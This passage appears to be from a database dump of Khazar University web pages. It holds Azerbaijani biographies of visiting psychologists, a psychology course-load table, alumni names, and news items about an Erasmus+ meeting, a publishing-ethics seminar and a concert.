src=\"http://www.khazar.org/files/image/15_05_15_Ikram.jpg\" style=\"width:150px;height:123px;margin:7px;float:left\"><strong>İkram Rüstəmov&nbsp;</strong></p>\r\n<p style=\"text-align:justify\">İkram Rüstəmov 1981-ci il mayın 5-də Laçında dünyaya göz açmış, 7-ci sinifə qədər orada təhsil almış, sonradan isə təhsilini Bakıda davam etdirmişdir. İkram Rüstəmov 2003-2009-cu illərdə Türkiyənin İstanbul Üniversiteti Cerrahpaşa Tibb fakültəsində təhsil almış və eyni universitetdə uşaq psixiatriyası üzrə uzmanlıq keçmişdir. Uşaq psixiatriyası və uşaq nevrologiyası üzrə 5 illik rezidentura proqramını keçdikdən sonra uşaqlıq depressiyasında vizual diqqət problemləri ilə əlaqəli dissertasiyanı müdaifə edərək, həkim psixiatr, uşaq psixiatrı mütəxəssisi adını almışdır. 2014-cü ilin avqust ayından 2015-ci ilin fevral ayınadək Harvard Universitetinin Boston Uşaq Xəstəxanasında fəaliyyət göstərmişdir.</p><p><br></p><p><br></p><p><img src=\"http://www.khazar.org/files/image/14_05_05_mehmet_sakiroglu.jpg\" style=\"width:150px;height:176px;margin:7px;float:left\"><span style=\"font-family:\'times new roman\', times, serif\"><strong>Dr. Mehmet Şakiroğlu</strong></span></p><p style=\"text-align:justify\"><span style=\"font-family:\'times new roman\', times, serif\"></span>Dr. Mehmet Şakiroğlu 15 İyul 1977-ci ildə Muğlada anadan olub. 1995-2002–ci illəri arasında Orta Şərq Texniki Universitetində (ODTÜ) Fəlsəfə və Psixologiya bölümləri üzrə bakalavr təhsilini tamamlamış və psixologiya bölümü üzrə məzun olmuşdur. Həmçinin bu bölümdə kliniki psixologiya üzrə ODTÜ-də magistratura və doktorantura təhsilini tamamlamışdır. 2002-2012–ci illəri arasında ODTÜ Psixologiya bölümündə təhsil işçisi olaraq işləmişdir. 2013-cü ildə isə Dr. Ozanser Uğurlu ilə birlikdə yazdıqları “Aşkın Psikolojisi” adlı kitabı nəşr olunmuşdur. Stress, qayğı, depressiya, fəlakət psixologiyası, xoşbəxtlilik kimi mövzuları barəsində də bir çox məqalə və kitabları vardır. Bundan əlavə olaraq stress, motivasiya, müvəffəqiyyət, qayğı və öfke kontrolü mövzuları ilə bağlı Daxili İşlər Nazirliyi, Təhsil Nazirliyi, Ədalət Akademiyası və bu kimi qurumlara təhsil verməkdədir. Həmçinin Mehmet Şakiroğlu terapevt olmaqla yanaşı, zəlzələ psixologiyası mövzusunda təcrübi və varoluşçu fəlsəfə mövzusunda nəzəri işlər görməkdədir. Hal hazırda isə ODTÜ Psixologiya bölümündə klinik psixoloq olaraq işləməkdədir</p>  <p><br></p><p><br></p><p><br></p><p><img src=\"http://www.khazar.org/files/image/14_05_05_ozanser_ugurlu.jpg\" style=\"width:150px;height:176px;margin:7px;float:left\"><strong>Yrd. Doç. Dr. Ozanser Uğurlu&nbsp;</strong></p><p style=\"text-align:justify\">Dr. Ozanser Uğurlu 1975-ci ildə Turhalda anadan olub. Orta Şərq Texniki Universitetində (ODTÜ) Psixologiya bölümü üzrə bakalavr təhsilini və Ankara Univeristetində Psixologiya bölümü üzrə magistratura və doktorantura təhsilini tamamlamışdır. Gənclərbirliyi, Manisaspor, Turkiyə Futbol Federasyonunda Psixoloq olaraq işləmişdir. Radio ODTÜ-də və TRT Ankara Radiosunda proqramlar təşkil etmişdir. Bir çox nəşr olunmuş kitabları ( “Aşkın Psikolojisi” , “Bir Zamanlar Her Şey Mümkündü”, “Kadınlar”, “Bütün Erkekler Aynı”) və məqalələri vardır. Bununla yanaşı Psixologiya sahəsində nəzəri və tətbiqi işlər görmək məqsədiylə “ Mutluluk Enstitüsü” qurmuşdur. Hal hazırda isə İDNA Çözüm Odaklı Danışmanlık və Təhsil Mərkəzində fərdlərə və qurumlara performans məsləhətçiliyi etməkdədir.  <br><span style=\"font-family:\'times new roman\', times, serif\"></span></p><p><br></p><p><br></p><p><br></p><p><img src=\"http://www.khazar.org/files/image/14_05_05_sibel.jpg\" style=\"width:150px;height:185px;margin:7px;float:left\"><strong>Uzm. Sibel Usluer Erenel</strong></p><p style=\"text-align:justify\">&nbsp;Lisanslı Ailə və Evlilik terapevtidir. Boğaziçi Universitetində Psixoloji Məsləhətçilik və Rəhbərlik üzrə ilkin magistratura təhsilini tamamlamış və 1994-cü ildə isə Kaliforniya Dövlət Universiteti Haywardda Ailə, Evlilik və Uşaq Terapiyası və Məktəb Məsləhətçiliyi üzrə ikinci magistratura təhsilini tamamlamışdır. ABŞ-da olduğu müddətdə&nbsp;uşaq istismarı, cinayətə yönəlmə, maddə asılılığı və məktəbi tərk etmə kimi risk altındakı uşaqlara, gənclərə və ailələrinə; şiddətə məruz qalmış uşaq və yetişkinlərə və inkişafda çətinlik yaşayan uşaqlar və ailələrinə geniş formada xidmət göstərərək məktəblərdə, qurumlarda və ya bələdiyyə ailə məsləhətləşmə mərkəzlərində 12 il işləmişdir. Virigina Satir Dönüşümsəl Sistematik Müalicə Modeli təhsilini ABŞ-da almış və 2005-ci ildə Türkiyəyə qayıtdıqdan sonra Satir Dönüşümsəl Sistematik Ailə Terapiyası modeli ilə Amerikan Ailə Terapiyası Dərnəyinin Səlahiyyətlərini (AAMFT) və Avropa Ailə Terapiyası meyarlarını diqqətə alaraq Ailə Terapiyası Təhsil Proqramını inkişaf etdirmiş və bu proqram Satir Pasifik Enstitüsü (SİP) tərəfindən təsdiqlənib ortaq sertifikat proqramına çevrilmişdir. Bundan əlavə olaraq Sibel Usluer Erenel tək valideynli, boşanmış valideynli və yenidən evlənmə ilə qurulan ailələr və övladlığa götürülmüş ailələrlə işləmişdir. Bu dönəmdə valideyn-uşaq, cütlər arasındakı əlaqə problemləri, ailədə maddə asılılığının olması, valideynlərin ölümü, boşanma və yenidən ailə qurma vəziyyətində meydana çıxan problemlər və bunun nəticəsində ailə fərdlərindəki təsirlərlə də işləmişdir. Hal hazırda Sibel Usluer Erenel YÖRET Fondunun Vitse Prezidenti, Doğuş Universitetində Ailə Terapiyası üzrə magistr təhsili proqramında supervizordur. Həmçinin Amerikan Ailə və Evlilik Terapevtleri Dərnəyi (AAMFT), Kaliforniya Ailə və Evlilik Terapevtləri Dərnəyi (CAMFT), Satir Pasifik Enstitüsü və The Satir Global Network-ün klinik üzvüdür. Beynəlxalq Ailə Terapiyası Dərnəyinin idarə heyəti üzvü, CATED-in isə qurucu üzvüdür.</p><p><br></p><p><br></p><p><img src=\"http://www.khazar.org/files/image/14_05_05_sevilay_zorlu.jpg\" style=\"width:150px;height:208px;margin:7px;float:left\"><strong>Uzm.Dr. Sevilay Zorlu&nbsp;</strong></p><p style=\"text-align:justify\">Psixiatr və Psixoterapevt Uzm. Dr. Sevilay Zorlu Antalyada anadan olub. Orta təhsilini Ankarada başlayıb Antalyada tamamlamışdır. Antalya Liseyindən məzun olduqdan sonra Doqquz Sentyabr Universitetinə qəbul olmuş və 2-ci sınıfda Akdeniz Universitetinə keçid edərək, 1995-ci ildə təhsilini burada tamamlamışdır. 5 il Antalya Kızılay Qan Mərkəzində “qrup həkimi” olaraq işlədikdən sonra, Antalya Esnaf ve Sanatkarlar 12 nolu Sağlık Ocağında 2 il “pratisyen həkimlik” üzrə işləmişdir. 2008-ci ildə Uludağ Universiteti Tibb Fakültəsi Psixiatriya Anabilim Dalında təhsilini tamamlayaraq Psixiatriya Mütəxəssisi oldu. 2008-2009–cu illəri arasında Siverek/Şanlıurfa Dövlət Xəstəxanasında isə dövlət xidmət öhdəçiliyini tamamlamışdır. 2009-2010–cu illərdə Şəxsi Antalya Medisu Xəstəxanısında Psixiatriya Mütəxəssisliyi və Sərbəst Həkimlik üzrə işləmişdir. Hal hazırda isə şəxsi muayinəxanasında işlərinə davam etməkdədir.&nbsp;</p><p><br></p><p><br></p><p><br></p><p><img src=\"http://www.khazar.org/files/image/aysun.png\" style=\"width:150px;height:172px;margin:7px;float:left\"><strong>Prof. Dr. Aysun Tülay Bozkurt&nbsp;</strong></p><p style=\"text-align:justify\">Prof. Dr. Tülay Bozkurt 1956-cı ildə anadan olub. 1978-ci ildə Hacettepe Universitetində Psixologiya bölümü üzrə bakalavr təhsilini və 1980-ci ildə California, San Diego, USİU-da Psixoloji Konsultasiya (Counseling Psychology) bölümü üzrə magistratura təhsilini tamamlamışdır. 1986-cı ildə isə Hacettepe Unviersiteti Sosial Bilimlər Enstitüsündə Sosyal Çalışma bölümü üzrə doktorantura təhsilini tamamlamışdır. Həmçinin 2004-2005 –ci illərdə Marmara Univeristeti Executive Development bölümündə koordinator olaraq fəaliyyət göstərmişdir. Hal hazırda isə İstanbul Kültür Universiteti Psixologiya bölümündə Bölüm Başkanı olaraq fəaliyyət göstərməkdədir. Həmçinin İstanbul Kültür Universiteti Fən Ədəbiyyat&nbsp; Fakültəsinin, İncəsənət və Dizayn Fakültəsinin üzvüdür.&nbsp;</p><p><br></p><p><br></p><p><br></p><p><br></p><p><img src=\"http://www.khazar.org/files/image/resit.png\" style=\"width:150px;height:214px;margin:7px;float:left\"><strong>Ph.D. Professor&nbsp;Reşit Canbeyli&nbsp;</strong></p><p>Reşit Canbeyli, Ph.D. Professor&nbsp;Boğaziçi Üniversitesi psikoloji bölümünde profesördür. Columbia Üniversitesinden 1968 yılında lisans, 1975 yılında master ve 1977 yılında doktor ünvanını almıştır. İlgi alanları arasında psikobiyoloji ve davranışsal sinir bilimi yer alır.&nbsp;&nbsp;</p><p><br></p><p><br></p><p><br></p><p><br></p>'),(3144,1855,'en','Grant Holders’ Annual Meeting in Brussels','On January 25-26, 2017, an annual meeting was held in Brussels, Belgium for coordinators of projects selected for funding within the Erasmus+ 2016 Program. Raziya Isayeva...','<p>On January 25-26, 2017, an annual meeting was held\r\nin Brussels, Belgium for coordinators of projects selected for funding within\r\nthe Erasmus+ 2016 Program. Raziya Isayeva, Khazar University’s Development\r\nDirector, participated in the meeting as the coordinator for the “Promoting\r\nExcellence in Teaching and Learning in Azerbaijani Universities” project. The\r\ntwo-day meeting brought together representatives of 147 institutions to discuss\r\nprogram related matters and exchange ideas. A special helpdesk was organized to\r\nanswer questions from coordinators on the second day of the event. </p>\r\n<p>One hundred countries were represented in the event,\r\nand Khazar University was the only university from Azerbaijan. Khazar\r\nUniversity is a grant holder for the fourth consecutive year. Khazar\r\nUniversity’s current project entitled “Promoting Excellence in Teaching and\r\nLearning in Azerbaijani Universities” (PETRA) involves 14 partners from\r\nAzerbaijan and Europe and intends to promote teaching and learning excellence\r\nin Azerbaijan.&nbsp;</p>\r\n<p>For the second successive time, Khazar University is\r\nthe only grant holder from Azerbaijan. &nbsp;&nbsp;</p>'),(1022,648,'en','Course Load','Course Load','<br>\r\n<br>\r\n<table cellpadding=\"0\" cellspacing=\"0\" width=\"1043\" style=\"\" border-collapse:collapse;width:783pt\";border-width:1px;border-style:solid\"=\"\">\r\n <tbody><tr height=\"21\">\r\n  <td colspan=\"8\" height=\"21\" class=\"xl76\" width=\"1043\" style=\"text-align: center;\" border-right:.5pt=\"\" solid=\"\" black;height:15.75pt;width:783pt\"\"=\"\"><h3><strong>Department of Psychology</strong></h3></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">SOC202</td>\r\n  <td>Statistics 2\r\n  \\Statistika 2</td>\r\n  <td>3</td>\r\n  <td>Mahammad Nurmammadov</td>\r\n  <td>5</td>\r\n  <td>AZE</td>\r\n  <td>SOC102</td>\r\n  <td>45 hr.</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSYC102</td>\r\n  <td>Introduction to\r\n  psychology \\Psixologiyaya giriş</td>\r\n  <td>3</td>\r\n  <td>Farah Adigozalova</td>\r\n  <td>25</td>\r\n  <td>AZE</td>\r\n  <td>&nbsp;</td>\r\n  <td>X</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSYC250</td>\r\n  <td>History of psychology\r\n  \\Psixologiya tarixi</td>\r\n  <td>3</td>\r\n  <td>Nilufar Alizada&nbsp;</td>\r\n  <td>34</td>\r\n  <td>AZE</td>\r\n  <td>ENGL216</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">BMED100</td>\r\n  <td>Medical Biology\r\n  \\Tibbi biologiya</td>\r\n  <td>3</td>\r\n  <td>Zaur Karimov</td>\r\n  <td>18</td>\r\n  <td>AZE</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSYC310</td>\r\n  <td>Child psychology\r\n  \\Uşaq psixologiyası</td>\r\n  <td>3</td>\r\n  <td>Kamala Aliyeva</td>\r\n  <td>10</td>\r\n  <td>AZE</td>\r\n  <td>PSYC201</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSYC311</td>\r\n  <td>Social psychology\r\n  \\Sosial psixologiya</td>\r\n  <td>3</td>\r\n  <td>Laman Verdiyeva</td>\r\n  <td>5</td>\r\n  <td>AZE</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSYC415</td>\r\n  <td>Organizational\r\n  psychology \\İdarəetmə psixologiyası</td>\r\n  <td>3</td>\r\n  <td>Nilufar Alizada&nbsp;</td>\r\n  <td>5</td>\r\n  <td>AZE</td>\r\n  <td>PSYC102</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSYC401</td>\r\n  <td>Research Methods in\r\n  psychology \\Psixologiyada tədqiqat metodları</td>\r\n  <td>3</td>\r\n  <td>Anar Babayev</td>\r\n  <td>7</td>\r\n  <td>AZE</td>\r\n  <td>SOC202</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSYC202</td>\r\n  <td>Personality\r\n  psychology \\Şəxsiyyət psixologiyası</td>\r\n  <td>3</td>\r\n  <td>Kamala Aliyeva</td>\r\n  <td>7</td>\r\n  <td>AZE</td>\r\n  <td>PSYC102</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSYC413</td>\r\n  <td>Counseling psychology\r\n  \\Psixoloji konsultasiya</td>\r\n  <td>3</td>\r\n  <td>Anar Babayev</td>\r\n  <td>7</td>\r\n  <td>AZE</td>\r\n  <td>PSYC311</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSYC416</td>\r\n  <td>Clinical psychology\r\n  \\Klinik psixologiya</td>\r\n  <td>3</td>\r\n  <td>Tahmasib Javadzada</td>\r\n  <td>4</td>\r\n  <td>AZE</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSYC417</td>\r\n  <td>Anatomy and\r\n  physiology of the central nervous system \\MSS anatomiyası və fiziologiyası</td>\r\n  <td>3</td>\r\n  <td>Aygun Isgandarova</td>\r\n  <td>5</td>\r\n  <td>AZE</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSYC441</td>\r\n  <td>Cognitive psychology\r\n  \\Zehni psixologiya</td>\r\n  <td>3</td>\r\n  <td>Aygun Isgandarova</td>\r\n  <td>6</td>\r\n  <td>AZE</td>\r\n  <td>PSYC102</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSYC414</td>\r\n  <td>Internship \\Təcrübə</td>\r\n  <td>3</td>\r\n  <td>Tahmasib Javadzada</td>\r\n  <td>5</td>\r\n  <td>AZE</td>\r\n  <td>&nbsp;</td>\r\n  <td>45 hr.</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td colspan=\"8\" height=\"21\" class=\"xl76\" style=\"text-align: center;\" border-right:.5pt=\"\" solid=\"\" black;height:15.75pt\"\"=\"\"><h3><strong>Department of Psychology&nbsp;– </strong><strong>Masters on General and Clinical\r\n  Psychology</strong></h3></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CPSY620</td>\r\n  <td>Cognitive Behavioral\r\n  therapy \\Zehni Davranış Terapiyası</td>\r\n  <td>3</td>\r\n  <td>Malak Karimova</td>\r\n  <td>7</td>\r\n  <td>AZE</td>\r\n  <td>&nbsp;</td>\r\n  <td>X</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CPSY710</td>\r\n  <td>Clinical psychology\r\n  \\Klinik psixologiya</td>\r\n  <td>3</td>\r\n  <td>Tahmasib Javadzada</td>\r\n  <td>3</td>\r\n  <td>AZE</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;X 30 hr.</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CPSY720</td>\r\n  <td>Forensic psychology\r\n  \\Hüquq psixologiyası</td>\r\n  <td>3</td>\r\n  <td>Laman Verdiyeva</td>\r\n  <td>7</td>\r\n  <td>AZE</td>\r\n  <td>&nbsp;</td>\r\n  <td>X</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CPSY730</td>\r\n  <td>Addiction psychology\r\n  \\Asılılıq psixologiyası</td>\r\n  <td>3</td>\r\n  <td>Roya Mirzayeva</td>\r\n  <td>7</td>\r\n  <td>AZE</td>\r\n  <td>&nbsp;</td>\r\n  <td>X</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CPSY635</td>\r\n  <td>Ethical principles in\r\n  psychology \\Psixologiyada etik prinsiplər</td>\r\n  <td>3</td>\r\n  <td>Jeyhun Mammadov</td>\r\n  <td>4</td>\r\n  <td>AZE</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;X 30 hr.</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CPSY745</td>\r\n  <td>Practice \\Təcrübə</td>\r\n  <td>6</td>\r\n  <td>Tahmasib Javadzada</td>\r\n  <td>4</td>\r\n  <td>AZE</td>\r\n  <td>&nbsp;</td>\r\n  <td>30 hr.</td>\r\n </tr></tbody></table>  <div style=\"text-align:center\"><br></div>'),(1023,649,'en',' Alumni',' Alumni','<div><br></div><div><br></div><div><strong><img src=\"/files/image/aysel%20zeynalli.png\" style=\"width:150px;height:230px;margin:7px;float:left\"><br></strong></div><div><strong>Aysel Zeynalli</strong>  <br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><strong><img src=\"/files/image/aytekin%20m.png\" style=\"width:150px;height:223px;margin:7px;float:left\"><br></strong></div><div><strong><br></strong></div><div><strong>Aytekin Memmedova</strong>  <br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><strong><img src=\"/files/image/beyim%20babayeva.png\" style=\"width:150px;height:200px;margin:7px;float:left\"><br></strong></div><div><strong><br></strong></div><div><strong>Beyim Babayeva</strong>  <br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><strong><img src=\"/files/image/leyla%20qasimova.png\" style=\"width:150px;height:223px;margin:7px;float:left\"><br></strong></div><div><strong><br></strong></div><div><strong>Leyla Gasimova</strong>  <br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><strong><img src=\"/files/image/sona%20davudova.png\" style=\"width:150px;height:223px;margin:7px;float:left\"><br></strong></div><div><strong><br></strong></div><div><strong>Sona Davudova</strong>  <br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><strong><img src=\"/files/image/terlan%20%20qenberova.png\" style=\"width:150px;height:223px;margin:7px;float:left\"><br></strong></div><div><strong><br></strong></div><div><strong>Tarlan Genberova</strong>  <br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div>'),(1024,649,'az',' Məzunlar',' Məzunlar','<div><br></div><div> <div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><strong><img src=\"http://www.khazar.org/files/image/aysel%20zeynalli.png\" style=\"width:150px;height:230px;margin:7px;float:left\"><br></strong></div><div style=\"background:undefined \"><strong>Aysel Zeynalli</strong>&nbsp;<br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><strong><img src=\"http://www.khazar.org/files/image/aytekin%20m.png\" style=\"width:150px;height:223px;margin:7px;float:left\"><br></strong></div><div style=\"background:undefined \"><strong><br></strong></div><div style=\"background:undefined \"><strong>Aytekin Memmedova</strong>&nbsp;<br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><strong><img src=\"http://www.khazar.org/files/image/beyim%20babayeva.png\" style=\"width:150px;height:200px;margin:7px;float:left\"><br></strong></div><div style=\"background:undefined \"><strong><br></strong></div><div style=\"background:undefined \"><strong>Beyim Babayeva</strong>&nbsp;<br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><strong><img src=\"http://www.khazar.org/files/image/leyla%20qasimova.png\" style=\"width:150px;height:223px;margin:7px;float:left\"><br></strong></div><div style=\"background:undefined \"><strong><br></strong></div><div style=\"background:undefined \"><strong>Leyla Gasimova</strong>&nbsp;<br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><strong><img src=\"http://www.khazar.org/files/image/sona%20davudova.png\" style=\"width:150px;height:223px;margin:7px;float:left\"><br></strong></div><div style=\"background:undefined \"><strong><br></strong></div><div style=\"background:undefined \"><strong>Sona Davudova</strong>&nbsp;<br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><strong><img src=\"http://www.khazar.org/files/image/terlan%20%20qenberova.png\" style=\"width:150px;height:223px;margin:7px;float:left\"><br></strong></div><div style=\"background:undefined \"><strong><br></strong></div><div style=\"background:undefined \"><strong>Tarlan Genberova</strong>&nbsp;<br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div></div><br></div>'),(1025,650,'en','Useful Links','Useful Links',''),(1026,651,'en','News','News',''),(4664,2769,'az','Gənc yazıçı tələbələrlə görüşəcək','2017-ci il dekabrın 27-si saat 15:30-da Xəzər Universitetinin “Neftçilər” kampusundakı akt zalında (otaq 206) təlimçi, “Kvan”...','<p>2017-ci il dekabrın 27-si saat 15:30-da Xəzər Universitetinin “Neftçilər” kampusundakı Mərmər Salonunda&nbsp;təlimçi, “Kvan”, “Ubuntu” və “Alamo 13” kitablarının müəllifi, gənc yazıçı Coşqun Kərimovun tələbələrlə “33 fotoda həyat” adlı görüşü keçiriləcək.</p><p>Maraqlanan hər kəs dəvətlidir.</p>'),(4595,2723,'az','Biotibbi tədqiqatların elmi yazılması, dərc edilməsi və etikasına aid seminar-konfrans keçiriləcək','2017-ci il dekabrın 14-ü saat 14:00-da Xəzər Universitetində seminar-konfrans keçiriləcək. Dəvət edilmiş məruzəçi Dr. Mehrdad Cəlaliyən Hüsseini...','<p>2017-ci il dekabrın 14-ü saat 14:00-da Xəzər Universitetində seminar-konfrans keçiriləcək. Dəvət edilmiş məruzəçi Dr.&nbsp;Mehrdad Cəlaliyən Hüsseini “<em>Elmi yazı və biotibbi tədqiqatların dərc edilməsi və etikası haqqında ümumi məlumat</em>” mövzusunda məruzə edəcək. Dr.Mehrdad Cəlaliyən Hüsseini Elektron Həkim Jurnalının (PubMed İndeksləşmiş) baş redaktoru və Mehr Nəşriyyatının təsisçisidir. O, bir sıra ölkələrdə çoxsaylı seminarlar və vorkşop təlimləri keçirmiş, həmçinin, tibbi konfranslarda dəvətli məruzəçi kimi çıxış etmişdir. Onun təcrübə sahələri etika, elmi yazı və elmi tədqiqatlardan nəşrlərin maksimum artırılmasıdır.</p><p>Seminar-konfrans iki hissədən və çay fasiləsindən ibarət olacaq.</p><p>Seminar Xəzər Universitetinin “Neftçilər” kampusunun konfrans zalında (otaq 102N) keçiriləcək.</p><p>Maraqlanan hər kəs dəvətlidir. PhD və magistr tələbələrin seminara qatılmağı və iştirakı ciddi şəkildə təşviq olunur.</p>'),(4596,2723,'en','Seminar-conference on scientific writing, publication and ethics of biomedical research to be held','On December 14, 2017, at 14:00 a.m., Khazar University will host a seminar-conference. Dr. Mehrdad Jalalian Hosseini, the invited key speaker will deliver a lecture...','<p style=\"\" text-align:justify;text-indent:.25in;line-height:115%\"\"=\"\">On\r\nDecember 14, 2017, at 14:00 a.m., Khazar University will host a seminar-conference.\r\n</p>\r\n<p style=\"\" text-align:justify;text-indent:.25in;line-height:115%\"\"=\"\">Dr.\r\nMehrdad Jalalian Hosseini, the invited key speaker will deliver a lecture\r\nentitled “<em>An overview of scientific writing and ethics of publishing biomedical\r\nresearch</em>”.&nbsp;Dr. Mehrdad Jalalian\r\nHosseini is an Editor-in-Chief of Electronic Physician Journal (PubMed indexed)\r\nand a Founder of Mehr Publishing. He has conducted numerous seminars and\r\nworkshops in a number of countries and has also acted as an invited key speaker\r\nin medical conferences. His areas of expertise are publishing ethics,\r\nscientific writing, and maximizing publications in academic research. </p>\r\n<p style=\"\" text-align:justify;text-indent:.25in;line-height:115%\"\"=\"\">The\r\nseminar will run in two sessions with a coffee break in between. The seminar\r\nwill take place at Neftchilar Campus, Conference Room 102N, Khazar University.</p>\r\n<p style=\"\" text-align:justify;text-indent:.25in;line-height:115%\"\"=\"\">Everyone\r\nis welcome to attend. </p><p>\r\nPh.D. and Master students\r\nare strongly encouraged to participate in the seminar.</p>'),(1027,651,'az','Xəbərlər','Xəbərlər','<span style=\"text-align:center;font-size:large;font-family:\'times new roman\', times, serif\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"http://www.khazar.org/tmp/mfe/assets/351bd86c/elrte/images/pixel.gif\" rel=\"media5065765524068853\" width=\"150\" height=\"100\"><h2><br></h2></span>'),(4597,2724,'az','Görkəmli bəstəkar Sərdar Fərəcovun müəllif konserti','Dekabrın 9-da Müslüm Maqomayev adına Azərbaycan Dövlət Filarmoniyasında Mədəniyyət və Turizm Nazirliyi və Dövlət Filarmoniyasının...','<p>Dekabrın 9-da Müslüm Maqomayev adına Azərbaycan Dövlət Filarmoniyasında Mədəniyyət və Turizm Nazirliyi və Dövlət Filarmoniyasının təşkilatçılığı ilə Əməkdar incəsənət xadimi, Azərbaycan Bəstəkarlar İttifaqının katibi, Üzeyir Hacıbəylinin Ev Muzeyinin direktoru, görkəmli bəstəkar Sərdar Fərəcovun anadan olmasının 60 illiyi münasibətilə müəllif konserti keçirildi. Konsertdə Azərbaycan Bəstəkarlar İttifaqının sədri, Xalq artisti, professor Firəngiz Əlizadə, müsiqi ictimaiyyətinin nümayəndələri və Xəzər Universitetinin əməkdaşları iştirak edirdilər.</p><p>Konsertdən əvvəl Azərbaycan Bəstəkarlar İttifaqının katibi, Əməkdar incəsənət xadimi, professor Zemfira Qafarova çıxış edərək, Sərdar Fərəcovun görkəmli bəstəkar, müsiqişünas və ictimai xadim kimi çöxşaxəli fəaliyyətindən danışdı. Bəstəkarın, demək olar ki, bütün musiqi janrlarında əsərlər yaratdığını və bu əsərlərin keçmiş SSRİ ölkələrində, Avropa və ABŞ-da da ifa edildiyini söylədi və yubilyara Bəstəkarlar İtttifaqının təbrik məktubunu və gül dəstəsi təqdim 